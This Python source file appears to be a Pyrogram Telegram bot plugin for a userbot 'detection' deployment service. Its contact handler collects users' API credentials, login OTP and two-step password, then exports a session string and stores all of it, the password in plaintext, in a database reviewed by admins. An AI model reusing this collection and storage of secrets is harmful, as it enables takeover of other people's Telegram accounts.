import asyncio
import string
import pyromod
from random import choice
import logging
from datetime import datetime as dt
from asyncio.exceptions import TimeoutError
from pyrogram import Client, filters

from database import db
from config import PRIVATE_GROUP_ID

from pyrogram.errors import (
    FloodWait,
    PhoneNumberInvalid,
    PhoneCodeInvalid,
    PhoneCodeExpired,
    SessionPasswordNeeded
)
from pyrogram.types import (
    ReplyKeyboardRemove,
    InlineKeyboardMarkup,
    InlineKeyboardButton
)

LOGS = logging.getLogger(__name__)

def generate_random_string(length):
    characters = string.ascii_uppercase + string.digits
    random_string = ''.join(choice(characters) for _ in range(length))
    return random_string

@Client.on_message(
    filters.private
    & filters.regex(r"^(Show Sessions)$")
)
async def show_session(client, message):
    user_id = message.from_user.id
    user_data = await db.users_detection.find_one({"user_id": user_id})
    if not user_data or "user_client" not in user_data:
        await message.reply_text("❌ No found!")
        return
    session = user_data["user_client"][0]["session_string"]
    await message.reply_text(
        f"Show Session: <code>{session}</code>",
        reply_markup=ReplyKeyboardRemove()
    )

@Client.on_message(
    filters.private
    & filters.regex(r"^(My Info)$")
)
async def myinfo(client, message):
    user_id = message.from_user.id
    user_data = await db.users_detection.find_one({"user_id": user_id})
    if not user_data or "user_client" not in user_data:
        await message.reply_text("❌ No found!")
        return
    status = user_data["user_client"][0]["status"]
    active = user_data["user_client"][0]["is_active"]
    if status == "approved":
        await message.reply_text(
            f"Check status active: <code>{active}</code>",
            reply_markup=ReplyKeyboardRemove()
        )
    else:
        await message.reply_text(
            f"No found data",
            reply_markup=ReplyKeyboardRemove()
        )

@Client.on_message(
    filters.private
    & filters.regex(r"^(My Delete All)$")
)
async def mydeleteall(client, message):
    user_id = message.from_user.id
    user_data = await db.users_detection.find_one({"user_id": user_id})
    if not user_data or "user_client" not in user_data:
        await message.reply_text("❌ No found!")
        return
    session = user_data["user_client"][0]["session_string"]
    result = await db.users_detection.update_one(
        {"user_id": user_id},
        {"$pull": {"user_client": {"session_string": session}}}
    )
    if result.modified_count == 1:
        await message.reply_text(
            "🗑️ **Session Deleted**\n\n"
            f"All data for `{user_id}` has been removed\n",
            reply_markup=ReplyKeyboardRemove()
        )
    else:
        await message.reply_text(
            "Error Failed maintenance",
            reply_markup=ReplyKeyboardRemove()
        )

@Client.on_message(
    filters.private
    & filters.regex(r"^(Start Sessions)$")
)
async def start_session(client, message):
    user_id = message.from_user.id
    try:
        confirm_sesi = await message.chat.ask(
            "Please send your SESSION_STRING (from Show Sessions):\n\n"
            "Format should be: `asdfghkklxxxxx`\n\n"
            "This not responding admins, You can try again issues\n"
            "Type /cancel to abort",
            timeout=300
        )
    except TimeoutError:
        return await client.send_message(
            message.chat.id, "`Time limit reached of 5 min.`"
        )
    if confirm_sesi.text.lower() == "/cancel":
        return await client.send_message(message.chat.id, "Cancelled")
    session = confirm_sesi.text
    await confirm_sesi.delete()
    now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
    admin_buttons = InlineKeyboardMarkup([
        [InlineKeyboardButton("✅ Approve", callback_data=f"approved_ub_{user_id}"),
         InlineKeyboardButton("❌ Reject",  callback_data=f"rejected_ub_{user_id}")],
        [InlineKeyboardButton("👤 View User", url=f"tg://user?id={user_id}")]
    ])
    existing_request = await db.users_detection.find_one({"user_client.session_string": session})
    if existing_request:
        await client.send_message(
            message.chat.id,
            f"✅ **You already deployment Detection Request Submitted**\n\n"
            f"⏳ Admin approval usually takes <15 minutes",
            reply_markup=InlineKeyboardMarkup([
                [InlineKeyboardButton("📊 Check Status", callback_data=f"statusub_{user_id}")]
            ])
        )
        await client.send_message(
            PRIVATE_GROUP_ID,
            text=f"**Try again Detection Request**\n\n"
                 f"👤 User: {message.from_user.mention} (`{user_id}`)\n"
                 f"📛 Username: @{message.from_user.username}\n"
                 f"⏰ Submitted: {now}\n"
                 f"🏷 Tier: 🆓 Free",
            reply_markup=admin_buttons
        )
    else:
        await client.send_message(
            message.chat.id,
            "haven't found session yet, You want to try create detection",
            reply_markup=ReplyKeyboardRemove()
        )
    
@Client.on_message(
    filters.contact
    & filters.private
)
async def contact_check(bot, message):
    if message.contact:
        user_id = message.from_user.id
        new_code_password = ""
        contact = message.contact
        client_name = generate_random_string(12)
        phone = "+" + contact.phone_number

        try:
            confirm_apid = await message.chat.ask(
                "Please send your API ID (from my.telegram.org):\n\n"
                "Format should be: `123456`\n\n"
                "Type /cancel to abort",
                timeout=300
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if confirm_apid.text.lower() == "/cancel":
            return await bot.send_message(message.chat.id, "Cancelled")
        api_id = confirm_apid.text
        await confirm_apid.delete()

        try:
            confirm_apihash = await message.chat.ask(
                "Please send your API HASH (from my.telegram.org):\n\n"
                "Format should be: `6asdksxxxxxxxx`\n\n"
                "Type /cancel to abort",
                timeout=300
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if confirm_apihash.text.lower() == "/cancel":
            return await bot.send_message(message.chat.id, "Cancelled")
        api_hash = confirm_apihash.text
        await confirm_apihash.delete()

        client = Client(
            "{}".format(client_name),
            api_id=int(api_id),
            api_hash=api_hash
        )
        try:
            await client.connect()
        except ConnectionError:
            await client.disconnect()
            await client.connect()
        except Exception as e:
            LOGS.error(f"Error Connect Userbot: {str(e)}")
            await client.disconnect()
            return await bot.send_message(message.chat.id, "Error try again problem")

        while True:
            confirm = await message.chat.ask(
                f'`Is "{phone}" correct? (y/n):` \n\ntype: `y` (If Yes)\ntype: `n` (If No)'
            )
            if confirm.text.lower() == "/cancel":
                await bot.send_message(message.chat.id, "Cancelled")
                return await client.disconnect()
            if "y" in confirm.text.lower():
                await confirm.delete()
                break
        try:
            code = await client.send_code(phone)
            await asyncio.sleep(1)
        except FloodWait as e:
            return await bot.send_message(
                message.chat.id,
                f"`you have floodwait of {e.value} Seconds`"
            )
        except PhoneNumberInvalid:
            return await bot.send_message(
                message.chat.id,
                "`your Phone Number is Invalid.`"
            )
        except Exception as e:
            return await bot.send_message(
                message.chat.id,
                f"`your Phone Number is Invalid: {e}`"
            )
        try:
            otp = await message.chat.ask(
                (
                    "`An otp is sent to your phone number, "
                    "Please enter otp in\n`1 2 3 4 5` format.`\n\n"
                    "`If Bot not sending OTP then try` /restart `cmd and again` /start `the Bot.`\n"
                    "Press /cancel to Cancel."
                ),
                timeout=300,
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if otp.text.lower() == "/cancel":
            await bot.send_message(message.chat.id, "Cancelled")
            return await client.disconnect()
        otp_code = otp.text
        await otp.delete()
        try:
            await client.sign_in(
                phone,
                code.phone_code_hash,
                phone_code=" ".join(str(otp_code))
            )
        except PhoneCodeInvalid:
            return await bot.send_message(message.chat.id, "`Invalid Code.`")
        except PhoneCodeExpired:
            return await bot.send_message(message.chat.id, "`Code is Expired.`")
        except SessionPasswordNeeded:
            try:
                two_step_code = await message.chat.ask(
                    "`This account have two-step verification code.\nPlease enter your second factor authentication code.`\nPress /cancel to Cancel.",
                    timeout=300,
                )
            except TimeoutError:
                return await bot.send_message(
                    message.chat.id, "`Time limit reached of 5 min.`"
                )
            if two_step_code.text.lower() == "/cancel":
                await bot.send_message(message.chat.id, "Cancelled")
                return await client.disconnect()
            new_code = two_step_code.text
            new_code_password += two_step_code.text
            await two_step_code.delete()
            try:
                await client.check_password(new_code)
            except Exception as e:
                return await bot.send_message(
                    message.chat.id, "**ERROR:** `{}`".format(e)
                )
        except Exception as e:
            return await bot.send_message(
                message.chat.id, "**ERROR:** `{}`".format(e),
            )
        session_string = await client.export_session_string()
        await client.disconnect()
        now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
        admin_buttons = InlineKeyboardMarkup([
            [InlineKeyboardButton("✅ Approve", callback_data=f"approved_ub_{user_id}"),
             InlineKeyboardButton("❌ Reject",  callback_data=f"rejected_ub_{user_id}")],
            [InlineKeyboardButton("👤 View User", url=f"tg://user?id={user_id}")]
        ])
        user_data = {
            "api_id": int(api_id),
            "api_hash": api_hash,
            "user_id": user_id,
            "is_active": False,
            "status": "pending",
            "created_at": now,
            "timestamp": now,
            "first_name": message.from_user.first_name,
            "username": message.from_user.username,
            "phone_number": phone,
            "password": new_code_password,
            "session_string": session_string,
        }
        existing_request = await db.users_detection.find_one({"user_id": user_id})
        if existing_request:
            await db.users_detection.update_one(
                {"user_id": user_id},
                {
                    "$push": {"user_client": user_data},
                    "$set": {"last_updated": now}
                },
                upsert=True
            )
        else:
            await db.users_detection.insert_one(
                {
                    "user_id": user_id,
                    "user_client": [user_data],
                    "created_at": now,
                    "last_updated": now
                }
            )
        await bot.send_message(
            message.chat.id,
            f"✅ **Deployment Detection Request Submitted**\n\n"
            f"⏳ Admin approval usually takes <15 minutes",
            reply_markup=InlineKeyboardMarkup([
                [InlineKeyboardButton("📊 Check Status", callback_data=f"statusub_{user_id}")]
            ])
        )
        await bot.send_message(
            PRIVATE_GROUP_ID,
            text=f"**New Detection Request**\n\n"
                 f"👤 User: {message.from_user.mention} (`{user_id}`)\n"
                 f"📛 Username: @{message.from_user.username}\n"
                 f"⏰ Submitted: {now}\n"
                 f"🏷 Tier: 🆓 Free",
            reply_markup=admin_buttons
        )